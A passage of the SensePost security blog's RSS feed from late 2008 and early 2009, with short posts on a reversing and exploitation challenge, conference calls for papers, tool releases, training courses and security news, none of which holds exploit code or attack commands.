				<description>&lt;p&gt;Not the boring pile of papers kind.. the shiny pants and sunglasses kind:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/rfp-spotting/796f1ab545536751220cbc78ec2884d4.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;337&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/rfp-spotting/796f1ab545536751220cbc78ec2884d4.jpg&#34; title=&#34;rfp&#34; width=&#34;360&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Turns out you can find him blogging these days at [&lt;a href=&#34;http://research.zscaler.com/&#34; target=&#34;_blank&#34;&gt;http://research.zscaler.com/&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;PS. if you dont know who RFP is, you are too young, and probably think w00w00 is leetspeak for a siren..&lt;/p&gt;</description>
			</item>
			<item>
				<title>QoW: Software Reversing and Exploitation</title>
				<link>https://sensepost.com/blog/2009/qow-software-reversing-and-exploitation/</link>
				<pubDate>Thu, 22 Jan 2009 12:20:17 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/qow-software-reversing-and-exploitation/</guid>
				<description>&lt;p&gt;I&amp;#8217;ve developed a &lt;a href=&#34;http://www.sensepost.com/blogstatic/2009/01/vulnserver.rar&#34; target=&#34;_blank&#34;&gt;FTP like multi-threaded server application&lt;/a&gt; as a target for this challenge of the month. It has been coded in c and compiled by VC++ 2008. This is a three step challenge:&lt;/p&gt;&#xA;&lt;p&gt;Step 1- Find the correct &amp;#8220;passphrase&amp;#8221; format to logon to the server and get the &amp;#8220;Access Granted&amp;#8221; message. (You may use a debugger like Ollydbg to do Live RE for this step).&lt;/p&gt;&#xA;&lt;p&gt;Step 2- Do vulnerability research on the server software. There is at least one exploitable bug but there could be more bugs or error conditions. Try to spot a memory corruption bug and write a denial of service exploit for it.&lt;/p&gt;</description>
			</item>
			<item>
				<title>When missing a good hire works out well..</title>
				<link>https://sensepost.com/blog/2009/when-missing-a-good-hire-works-out-well../</link>
				<pubDate>Wed, 21 Jan 2009 10:04:38 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/when-missing-a-good-hire-works-out-well../</guid>
				<description>&lt;p&gt;A few years ago, &lt;a href=&#34;http://mohamedn.com/node/169&#34; target=&#34;_blank&#34;&gt;Mohamed Nanabhay&lt;/a&gt; was considering joining SensePost and i was trying hard to convince him it was the way and the light. He had been a KPMG auditor in a past life (but i promised not to hold that against him).&lt;/p&gt;&#xA;&lt;p&gt;We were not sure what he would do at SP, since he was kinda moving away from hardcore tech, but we always said that we would take quality people, even if we didnt have a niche for them, cause quality people will make a new niche.&lt;/p&gt;</description>
			</item>
			<item>
				<title>So so senseless…</title>
				<link>https://sensepost.com/blog/2009/so-so-senseless/</link>
				<pubDate>Thu, 15 Jan 2009 20:23:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/so-so-senseless/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/so-so-senseless/f354737689be52fbac3b57cf863488ea.gif&#34;&gt;&lt;img alt=&#34;Peace in Palestine!&#34;  height=&#34;300&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/so-so-senseless/f354737689be52fbac3b57cf863488ea.gif&#34; title=&#34;flag&#34; width=&#34;187&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;haroon :(&lt;/p&gt;</description>
			</item>
			<item>
				<title>ITWeb Security Summit 2009 – CFP Deadline</title>
				<link>https://sensepost.com/blog/2009/itweb-security-summit-2009-cfp-deadline/</link>
				<pubDate>Tue, 13 Jan 2009 16:15:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/itweb-security-summit-2009-cfp-deadline/</guid>
				<description>&lt;p&gt;&lt;img alt=&#34;&#34; src=&#34;file:///Users/charl/Library/Caches/TemporaryItems/moz-screenshot.jpg&#34; /&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/itweb-security-summit-2009-cfp-deadline/d5c8e8c9aac57f97f31c31022601eef7.gif&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;64&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/itweb-security-summit-2009-cfp-deadline/d5c8e8c9aac57f97f31c31022601eef7.gif&#34; title=&#34;securitysummit09_web&#34; width=&#34;279&#34; /&gt;&lt;/a&gt; I just wanted to remind everyone that the CFP for the 2009 ITWeb Security Summit closes on 26 Jan. We&amp;#8217;re hoping to see much more in the way of submissions from local infosec people (especially from corporates) but there&amp;#8217;s also still room for international submissions. So far I know of 11 &amp;#8216;international&amp;#8217; submissions. ITWeb is really good to its international speakers so non- South Africans shouldn&amp;#8217;t be put off by the long distances. The conference is at an excellent location, South Africa is beautiful at that time of year, you&amp;#8217;ll stay in a swanky hotel (&lt;a href=&#34;http://www.southernsun.com/SSH/VHB/25383cf8de46a010VgnVCM100000650114acRCRD/34/51&#34;&gt;this&lt;/a&gt; is the one they used last), the food and beer are cheap and ITWeb will take good care of you. You can check out the conference home page and CFP &lt;a href=&#34;http://www.itweb.co.za/events/securitysummit/2009/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BiDiBLAH 2.0 Released!</title>
				<link>https://sensepost.com/blog/2009/bidiblah-2.0-released/</link>
				<pubDate>Thu, 08 Jan 2009 14:10:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/bidiblah-2.0-released/</guid>
				<description>&lt;p&gt;Yup, that&amp;#8217;s right, BiDIBLAH 2.0 has finally been released and is available for purchase at an incredibly low US$500!!  You can get BiDiBLAH &lt;a href=&#34;http://www.sensepost.com/research/bidiblah/&#34;&gt;here&lt;/a&gt;.  Users who would like to try it out first, can download the evaluation copy, which is limited to a 60 minute runtime.  Also, check out the &lt;a href=&#34;http://www.sensepost.com/research/bidiblah/blahfaq.html&#34;&gt;FAQ&lt;/a&gt; page for some common / technical questions and answers.&lt;/p&gt;&#xA;&lt;p&gt;./frankieg&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost Training @ Black Hat DC</title>
				<link>https://sensepost.com/blog/2009/sensepost-training-@-black-hat-dc/</link>
				<pubDate>Wed, 07 Jan 2009 15:38:19 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/sensepost-training-@-black-hat-dc/</guid>
				<description>&lt;p&gt;So&amp;#8230; Black Hat DC is rushing at us like a speeding big&amp;#8230; speeding thing. This is just a friendly a reminder about the show (&lt;a href=&#34;http://www.blackhat.com/html/bh-dc-09/bh-dc-09-main.html&#34;&gt;Hyatt Regency Crystal City • February 16-19&lt;/a&gt;). We have two courses on offer at the DC show this year &amp;#8211; &lt;a href=&#34;http://www.blackhat.com/html/bh-dc-09/train-bh-dc-09-sp-b.html&#34;&gt;Bootcamp&lt;/a&gt; (a highly practical course that teaches method-based hacker thinking, skills and techniques) and &lt;a href=&#34;http://www.blackhat.com/html/bh-dc-09/train-bh-dc-09-sp-c.html&#34;&gt;Combat&lt;/a&gt; (all hack, no talk &amp;#8211; our flagship course).&lt;/p&gt;&#xA;&lt;p&gt;One small change to our usual approach this time is that we&amp;#8217;re requesting Combat students to bring their own laptops. On Bootcamp and our other courses we provide pre-configured XP boxes but Combat participants are generally already quite experienced and comfortable on their own platforms.&lt;/p&gt;</description>
			</item>
			<item>
				<title>“Hooker” approach to break-in!</title>
				<link>https://sensepost.com/blog/2009/hooker-approach-to-break-in/</link>
				<pubDate>Tue, 06 Jan 2009 13:13:50 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/hooker-approach-to-break-in/</guid>
				<description>&lt;p&gt;Interesting post on cost/benefit analysis of  hacker and hooker attacks&lt;a href=&#34;http://rdist.root.org/2008/07/21/hacker-or-hooker/&#34; target=&#34;_blank&#34;&gt;&amp;#8230;. &lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;behrang&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hacking By Numbers Online – your thoughts?</title>
				<link>https://sensepost.com/blog/2009/hacking-by-numbers-online-your-thoughts/</link>
				<pubDate>Tue, 06 Jan 2009 10:47:15 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/hacking-by-numbers-online-your-thoughts/</guid>
				<description>&lt;p&gt;We often get asked by students of our Hacking By Numbers courses if the course environments or at least the VMWare images are available after the training is over. As a result we&amp;#8217;ve started to experiment with a model for offering our courses in an online environment. The idea would be to maintain the full numbers of labs and technical work, maintain the high standard of trainers and materials, but make the training available via the internet to people at various diverse locations. The approach we&amp;#8217;ve been testing appears to show some promise, so we&amp;#8217;re hoping to ask some of you for your input and opinions.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Headhunter: Employers Hate World Of Warcraft Players</title>
				<link>https://sensepost.com/blog/2009/headhunter-employers-hate-world-of-warcraft-players/</link>
				<pubDate>Mon, 05 Jan 2009 15:51:21 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/headhunter-employers-hate-world-of-warcraft-players/</guid>
				<description>&lt;p&gt;This is an old post, regurgitated because it yielded some spirited discussion.&lt;/p&gt;&#xA;&lt;p&gt;Apparantly headhunters are being told to avoid World of Warcraft players:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://www.alleyinsider.com/2008/12/headhunter-employers-hate-world-of-warcraft-players&#34; target=&#34;_blank&#34;&gt;http://www.alleyinsider.com/2008/12/headhunter-employers-hate-world-of-warcraft-players&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It&amp;#8217;s an interesting twist, because a little while back i also recall hearing an itconversations interview on in-game leadership skills..&lt;/p&gt;&#xA;&lt;p&gt;My own views on this are mixed.. i find the amount of time spent on gaming to be staggering (at least with gamers ive spoken to)  but ive also heard some pretty hard core hax0rs talking about gaming.. hmm&amp;#8230;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Dont look now, but it seems they broke the Interwebs again..</title>
				<link>https://sensepost.com/blog/2008/dont-look-now-but-it-seems-they-broke-the-interwebs-again../</link>
				<pubDate>Mon, 29 Dec 2008 20:43:44 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/dont-look-now-but-it-seems-they-broke-the-interwebs-again../</guid>
				<description>&lt;p&gt;Those pesky hackers!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://phreedom.org/&#34; target=&#34;_blank&#34;&gt;Alex Sotirov&lt;/a&gt; (of &lt;a href=&#34;http://phreedom.org/research/heap-feng-shui/&#34; target=&#34;_blank&#34;&gt;heap feng shui&lt;/a&gt; fame, famous for breaking everything from &lt;a href=&#34;http://video.google.com/videoplay?docid=-7185841369679533904&#34; target=&#34;_blank&#34;&gt;Vista&lt;/a&gt;, to &lt;a href=&#34;http://phreedom.org/research/bypassing-browser-memory-protections/&#34; target=&#34;_blank&#34;&gt;web browsers&lt;/a&gt;, to &lt;a href=&#34;http://phreedom.org/research/blackbox-reversing-of-xss-filters/&#34; target=&#34;_blank&#34;&gt;facebook&lt;/a&gt;) and Jacob Applebaum (of &lt;a href=&#34;http://citp.princeton.edu/memory/&#34; target=&#34;_self&#34;&gt;cold-boot attack&lt;/a&gt; fame, and more importantly of &amp;#8220;&lt;a href=&#34;http://www.appelbaum.net/knuthismyhomeboy.jpg&#34; target=&#34;_blank&#34;&gt;knuth is my homeboy&lt;/a&gt;&amp;#8221; fame) will be talking in a few hours at the 25c3 conference in Germany and by all accounts its going to be an &amp;#8220;Internet Breaker&amp;#8221;.&lt;/p&gt;&#xA;&lt;p&gt;There is a fair bit of speculation on the nature of the bug (though most people some confident that its routing protocol related) and &lt;a href=&#34;http://www.breakingpointsystems.com/community/blog/Attacking-Critical-Internet-Infrastructure&#34; target=&#34;_blank&#34;&gt;HD Moore has blogged&lt;/a&gt; that the pair have sought legal advice pre-publishing.&lt;/p&gt;</description>
			</item>
			<item>
				<title>We going to sue and make Squillions…..</title>
				<link>https://sensepost.com/blog/2008/we-going-to-sue-and-make-squillions../</link>
				<pubDate>Mon, 29 Dec 2008 07:41:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/we-going-to-sue-and-make-squillions../</guid>
				<description>&lt;p&gt;or maybe not&amp;#8230;&lt;br /&gt;&#xA;The twitters informed me that &lt;a href=&#34;http://twitter.com/singe&#34; target=&#34;_blank&#34;&gt;Singe&lt;/a&gt; uncovered a case of &lt;a href=&#34;https://singe.za.net/blog/archives/963-Brand-Plagiarism.html&#34; target=&#34;_blank&#34;&gt;brand plagiarism&lt;/a&gt;!!!1!&lt;br /&gt;&#xA;-snip-&lt;br /&gt;&#xA;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2008/we-going-to-sue-and-make-squillions/6267f60b3516b73970c91b5869417c94.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;173&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/we-going-to-sue-and-make-squillions/6267f60b3516b73970c91b5869417c94.png&#34; title=&#34;singe&#34; width=&#34;500&#34; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;-snip-&lt;/p&gt;&#xA;&lt;p&gt;So lets review..&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the logo looks shockingly the same&lt;/li&gt;&#xA;&lt;li&gt;they no doubt, behind closed doors refer to themselves as SP too&lt;/li&gt;&#xA;&lt;li&gt;just based on their staff numbers, they probably have 16 good looking people there too!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;i had the lawyers lined up but decided to dig more info. on them first..&lt;/p&gt;</description>
			</item>
			<item>
				<title>… Scrapy…</title>
				<link>https://sensepost.com/blog/2008/scrapy/</link>
				<pubDate>Sun, 28 Dec 2008 22:07:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/scrapy/</guid>
				<description>&lt;p&gt;(an open source web crawling and screen scraping framework written in Python..)&lt;/p&gt;&#xA;&lt;p&gt;i promised deels i wld stay off the interwebs for a few days, which means my quick stops are filling up my bookmarks list..&lt;/p&gt;&#xA;&lt;p&gt;This looks worth checking out.. &lt;a href=&#34;http://dev.scrapy.org/&#34;&gt;http://dev.scrapy.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;</description>
			</item>
			<item>
				<title>Ted Speaker List up and Free hackin9</title>
				<link>https://sensepost.com/blog/2008/ted-speaker-list-up-and-free-hackin9/</link>
				<pubDate>Tue, 23 Dec 2008 08:26:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/ted-speaker-list-up-and-free-hackin9/</guid>
				<description>&lt;p&gt;(aka 2 completely unrelated topics)&lt;/p&gt;&#xA;&lt;p&gt;You can grab a free copy of the Hackin9 magazine [&lt;a href=&#34;http://hakin9.org/prt/view/back-issues/issue/744.html&#34;&gt;here&lt;/a&gt;] &lt;/p&gt;&#xA;&lt;p&gt;And you can view the speakers list for Ted09 [&lt;a href=&#34;http://conferences.ted.com/TED2009/program/speakers.php&#34;&gt;here&lt;/a&gt;]&amp;#8230; &lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;</description>
			</item>
			<item>
				<title>Penetration Testing in 2009 – Opposing Viewpoints</title>
				<link>https://sensepost.com/blog/2008/penetration-testing-in-2009-opposing-viewpoints/</link>
				<pubDate>Sat, 20 Dec 2008 02:10:37 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/penetration-testing-in-2009-opposing-viewpoints/</guid>
				<description>&lt;p&gt;The last few weeks have brought some fairly interesting predictions for 2009 to bear in CSO Magazine columns. Two recent articles caught my eye from a penetration testing perspective.&lt;/p&gt;&#xA;&lt;p&gt;In the first, Brian Chess, CTO of &lt;a href=&#34;http://www.fortify.com&#34;&gt;Fortify&lt;/a&gt; (they make source code review and software security tools, and he has written a great book on static analysis) predicted that penetration testing as we know it will die in 2009.&lt;/p&gt;&#xA;&lt;p&gt;The premise of his &lt;a href=&#34;http://www.csoonline.com/article/468766/Penetration_Testing_Dead_in_?page=1&#34;&gt;argument&lt;/a&gt; is that penetration testing will die and be reborn in a different form, aiming more at preventing bugs from occurring, rather than identifying them (rolling things into QA / SDLC etc). Granted, it&amp;#8217;s a fairly valid point *in some respects*, albeit a biased one if you consider what he does for a living.&lt;/p&gt;</description>
			</item>
			<item>
				<title>More Conn News – PCI Johannesburg</title>
				<link>https://sensepost.com/blog/2008/more-conn-news-pci-johannesburg/</link>
				<pubDate>Thu, 18 Dec 2008 11:27:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/more-conn-news-pci-johannesburg/</guid>
				<description>&lt;p&gt;I got contacted the other day (via LinkedIn actually, which is a 1st for me) about a PCI conference some folks are trying to organize here in Johannesburg in January next year. I don&amp;#8217;t really know the people (or the conference) but it seems like something that&amp;#8217;s sorely needed here and maybe worth making a small investment in.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;#8217;s where you can get the lowdown &amp;#8211;  &lt;a href=&#34;http://www.pci-portal.com/events/event-info/event/pci-johannesburg&#34;&gt;http://www.pci-portal.com/events/event-info/event/pci-johannesburg&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>ITWeb Security Summit 2009 – CFP Reminder</title>
				<link>https://sensepost.com/blog/2008/itweb-security-summit-2009-cfp-reminder/</link>
				<pubDate>Thu, 18 Dec 2008 11:19:37 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/itweb-security-summit-2009-cfp-reminder/</guid>
				<description>&lt;p&gt;I wanted to remind folk that the CFP for the ITWeb Security Summit closes on 26 Jan 2009. You can check it out at &lt;a href=&#34;http://www.itweb.co.za/events/securitysummit/2009/&#34;&gt;http://www.itweb.co.za/events/securitysummit/2009/&lt;/a&gt;. Local (ZA) should please make themselves heard, but the organizers are also sponsoring travel for international speakers so if you ever wanted to visit the gool ol&amp;#8217; RS of A (that&amp;#8217;s in Africa) then here&amp;#8217;s your chance&amp;#8230;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Wikto 2.1 XMAS edition</title>
				<link>https://sensepost.com/blog/2008/wikto-2.1-xmas-edition/</link>
				<pubDate>Mon, 15 Dec 2008 10:09:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/wikto-2.1-xmas-edition/</guid>
				<description>&lt;p&gt;The latest version of Wikto (2.1) is available for download &lt;a href=&#34;http://www.sensepost.com/research/wikto/&#34;&gt;here&lt;/a&gt;.  New features include time anomaly reporting and easier access to findings.  A few bugfixes have also been made (thanx to some valuable user feedback).  &lt;/p&gt;&#xA;&lt;p&gt;Happy holidays from the research and dev team.&lt;br /&gt;&#xA;./frankieg&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;&#34;  height=&#34;50&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/wikto-2-1-xmas-edition/a7ae395a009ddb01d5c441f9fcadbd74.gif&#34; width=&#34;50&#34; /&gt; (v2.1 XMAS image)&lt;/p&gt;</description>
			</item>
			<item>
				<title>Microsoft BlueHat, Videos Posted</title>
				<link>https://sensepost.com/blog/2008/microsoft-bluehat-videos-posted/</link>
				<pubDate>Tue, 02 Dec 2008 09:16:01 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/microsoft-bluehat-videos-posted/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2008/microsoft-bluehat-videos-posted/79f298823ae2a67554468d45f4796061.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;124&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/microsoft-bluehat-videos-posted/79f298823ae2a67554468d45f4796061.png&#34; title=&#34;bh&#34; width=&#34;500&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Microsoft has posted selected videos of the latest BlueHat talks [&lt;a href=&#34;http://technet.microsoft.com/en-us/security/cc748656.aspx&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]. It&amp;#8217;s pretty cool that they are now releasing these videos to the planet..&lt;/p&gt;&#xA;&lt;p&gt;You get to see &lt;a href=&#34;http://technet.microsoft.com/en-us/security/dd285253.aspx&#34; target=&#34;_blank&#34;&gt;Matt Miller (skape)&lt;/a&gt;, &lt;a href=&#34;http://technet.microsoft.com/en-us/security/dd282968.aspx&#34; target=&#34;_blank&#34;&gt;Scott Charney&lt;/a&gt; and even za&amp;#8217;s very own &lt;a href=&#34;http://technet.microsoft.com/en-us/security/dd285275.aspx&#34; target=&#34;_blank&#34;&gt;Roelof Temmingh&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;SensePost&amp;#8217;ers can grab copies of the talks [&lt;a href=&#34;https://introonet.sensepost.com/store/cons-multimedia/ms-bh-08/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;</description>
			</item>
			<item>
				<title>Linux on iPhone..</title>
				<link>https://sensepost.com/blog/2008/linux-on-iphone../</link>
				<pubDate>Sat, 29 Nov 2008 07:34:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/linux-on-iphone../</guid>
				<description>&lt;p&gt;While i normally find &amp;#8220;Linux ported to run on your [nintendo/toaster/foo] stories only academically interesting, i think the thought of &lt;a href=&#34;http://linuxoniphone.blogspot.com/2008/11/linux-on-iphone.html&#34; target=&#34;_blank&#34;&gt;Linux running on 1st Gen, 2nd Gen iPhones (and iPod Touch)&lt;/a&gt; a particularly awesome thought.&lt;/p&gt;&#xA;&lt;p&gt;a) it suddenly means all sorts of possibilities for cute intelligent devices all over the house (with cool sensors &amp;#8211; once they can be acessed)&lt;/p&gt;&#xA;&lt;p&gt;b) it means possibly really cheap, really portable *nix (really pretty) in your pocket&lt;/p&gt;</description>
			</item>
			<item>
				<title>South Africa’s own IT Security “pubcast”</title>
				<link>https://sensepost.com/blog/2008/south-africas-own-it-security-pubcast/</link>
				<pubDate>Fri, 28 Nov 2008 22:06:30 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/south-africas-own-it-security-pubcast/</guid>
				<description>&lt;p&gt;Our good friend Anthony Olivier has launched his &amp;#8220;&lt;a href=&#34;http://www.theitsp.com/&#34; target=&#34;_blank&#34;&gt;IT Security Pubcast&lt;/a&gt;&amp;#8220;. So far 2 episodes are online, with episode #2 including our very own, ever quotable Charl van der Walt.&lt;/p&gt;&#xA;&lt;p&gt;Check it out..&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://www.theitsp.com/&#34; target=&#34;_blank&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;187&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/south-africa-s-own-it-security-pubcast/fa631829644a45241edd8eebae557858.png&#34; title=&#34;itsp&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>ITWeb Security Summit 2009 – CFP Now Open</title>
				<link>https://sensepost.com/blog/2008/itweb-security-summit-2009-cfp-now-open/</link>
				<pubDate>Fri, 28 Nov 2008 14:10:42 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/itweb-security-summit-2009-cfp-now-open/</guid>
				<description>&lt;p&gt;A couple of months back SensePost  were asked by a prominent South African media company to assist in the selection of content and speakers for an upcoming information security conference called &amp;#8216;&lt;a href=&#34;http://www.itweb.co.za/events/securitysummit/2008/&#34; target=&#34;_blank&#34;&gt;the ITWeb Security Summit&lt;/a&gt;&amp;#8216;.&lt;/p&gt;&#xA;&lt;p&gt;The show runs 26-28 May 2009. The speaker lineup is mostly local (including yours truly) but past speakers have been pretty high-profile &amp;#8211; including Dave Litchfield, Johnny Long, Kevin Mitnick, Johnny Cache, Howard Schulz and others.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Wired Article on DNSGate..</title>
				<link>https://sensepost.com/blog/2008/wired-article-on-dnsgate../</link>
				<pubDate>Wed, 26 Nov 2008 12:03:21 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/wired-article-on-dnsgate../</guid>
				<description>&lt;p&gt;Wired magazine has &lt;a href=&#34;http://www.wired.com/techbiz/people/magazine/16-12/ff_kaminsky?currentPage=all&#34; target=&#34;_blank&#34;&gt;covered the DNSGate&lt;/a&gt; saga with full dramatic details like: &amp;#8220;&lt;em&gt;never, ever repeat what you just told me over a cell phone&lt;/em&gt;&amp;#8220;.&lt;/p&gt;&#xA;&lt;p&gt;Its a quick read, and worth it for the classic line: &amp;#8220;The DNS community had kept the secret for months. The computer security community couldn&amp;#8217;t keep it 12 days&amp;#8221;&lt;/p&gt;</description>
			</item>
			<item>
				<title>HBN Bootcamp – Christmas Edition</title>
				<link>https://sensepost.com/blog/2008/hbn-bootcamp-christmas-edition/</link>
				<pubDate>Tue, 11 Nov 2008 15:22:35 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/hbn-bootcamp-christmas-edition/</guid>
				<description>&lt;p&gt;As a Christmas special we  have scheduled an additional training course, Hacking By Numbers &amp;#8211; Extended Edition  (Bootcamp)  in  Pretoria, South Africa on November 24-28th. The course runs for a full 5 days. This course will be offered at a never-to-be-repeated discount price of ZAR 10,999-00 (15% discount on the usual training price). Each trainee will be given a t-shirt and a Christmas hat!&lt;/p&gt;&#xA;&lt;p&gt;For more on our training please visit &lt;a href=&#34;http://www.sensepost.com/training.html&#34; target=&#34;_self&#34; title=&#34;http://www.sensepost.com/training.html&#34;&gt;http://www.sensepost.com/training.html&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>“Unix Terrorist” in trouble over TJX ?</title>
				<link>https://sensepost.com/blog/2008/unix-terrorist-in-trouble-over-tjx/</link>
				<pubDate>Thu, 06 Nov 2008 10:17:30 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/unix-terrorist-in-trouble-over-tjx/</guid>
				<description>&lt;p&gt;Anyone who was around for Defcon-10 will have an opinion on the infamous Gobbles-Silvio-UnixTerrorist talk in which mail spools where published and everyone was slammed [1]&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2008/unix-terrorist-in-trouble-over-tjx/bf40f9fa2be4465284eba5d8d4834738.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;200&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/unix-terrorist-in-trouble-over-tjx/bf40f9fa2be4465284eba5d8d4834738.jpg&#34; title=&#34;gobbles&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to mumble on the &lt;a href=&#34;http://www.scmagazineus.com/New-Yorker-charged-with-providing-sniffer-trojan-for-TJX-hack/article/120391/&#34; target=&#34;_blank&#34;&gt;Interwebs&lt;/a&gt; (and a comment from &lt;a href=&#34;http://itradio.com.au/?p=212&#34; target=&#34;_blank&#34;&gt;RiskyBusiness&lt;/a&gt;) it appears as if the Stephen Watt who allegedly &amp;#8220;&lt;a href=&#34;http://www.usdoj.gov/criminal/cybercrime/wattCharge.pdf&#34; target=&#34;_blank&#34;&gt;modified and provided a “sniffer” program used by the conspirators to monitor and capture the data crossing corporate computer networks&lt;/a&gt;&amp;#8221; == Unix Terrorist..&lt;/p&gt;&#xA;&lt;p&gt;It&amp;#8217;s not clear the extent of Watts involvment with the breakin, but it does send a cold shiver down the spine of anyone who puts out tools / software..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Preflighting Application Error (0xE800000*) on iPhones</title>
				<link>https://sensepost.com/blog/2008/preflighting-application-error-0xe800000-on-iphones/</link>
				<pubDate>Tue, 04 Nov 2008 20:05:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/preflighting-application-error-0xe800000-on-iphones/</guid>
				<description>&lt;p&gt;For those writing apps for the iPhone, you have a good chance of bumping into the highly annoying preflighting application error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2008/preflighting-application-error-0xe800000-on-iphones/e3126e3185bdefaf372f100c3be22aa3.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;110&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/preflighting-application-error-0xe800000-on-iphones/e3126e3185bdefaf372f100c3be22aa3.png&#34; title=&#34;error1&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ralf Rottmann of [&lt;a href=&#34;24100.net&#34; target=&#34;_blank&#34;&gt;24100.net&lt;/a&gt;] has a [&lt;a href=&#34;http://www.talentgrouplabs.com/blog/archive/2008/08/21/preflightingapplication-errors-0xe8000001-and-others.aspx&#34; target=&#34;_blank&#34;&gt;pretty comprehensive post on how to fix this&lt;/a&gt;] (the problem resides in xcode not corerctly tagging the applications BundleID)&lt;/p&gt;</description>
			</item>
			<item>
				<title>HITB08 Slides available..</title>
				<link>https://sensepost.com/blog/2008/hitb08-slides-available../</link>
				<pubDate>Mon, 03 Nov 2008 16:13:17 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/hitb08-slides-available../</guid>
				<description>&lt;p&gt;Slides from the latest Hack in the Box conference [&lt;a href=&#34;http://conference.hackinthebox.org/hitbsecconf2008kl/materials/&#34; target=&#34;_blank&#34;&gt;are available&lt;/a&gt;] [SensePost slides are listed as owing / not there yet]&lt;/p&gt;&#xA;&lt;p&gt;SensePosters can grab a local copy [&lt;a href=&#34;https://introonet.sensepost.com/store/cons-multimedia/hitb08/index.html&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>You know you are getting old..</title>
